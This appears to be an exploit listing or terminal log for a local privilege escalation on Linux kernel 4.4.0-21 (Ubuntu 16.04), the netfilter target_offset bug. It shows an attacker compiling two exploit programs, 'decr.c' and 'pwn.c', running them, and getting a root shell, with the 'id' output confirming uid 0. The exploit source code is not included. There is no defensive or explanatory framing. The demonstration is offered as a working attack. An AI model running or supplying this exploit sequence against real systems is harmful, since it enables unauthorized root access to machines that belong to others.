Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) Privilege Escalation

vnik@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
vnik@ubuntu:~$ gcc decr.c -m32 -O2 -o decr
vnik@ubuntu:~$ gcc pwn.c -O2 -o pwn
vnik@ubuntu:~$ ./decr
netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik
[!] Decrementing the refcount. This may take a while…
[!] Wait for the “Done” message (even if you’ll get the prompt back).
vnik@ubuntu:~$ [+] Done! Now run ./pwn

vnik@ubuntu:~$ ./pwn
[+] Escalating privs…
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~#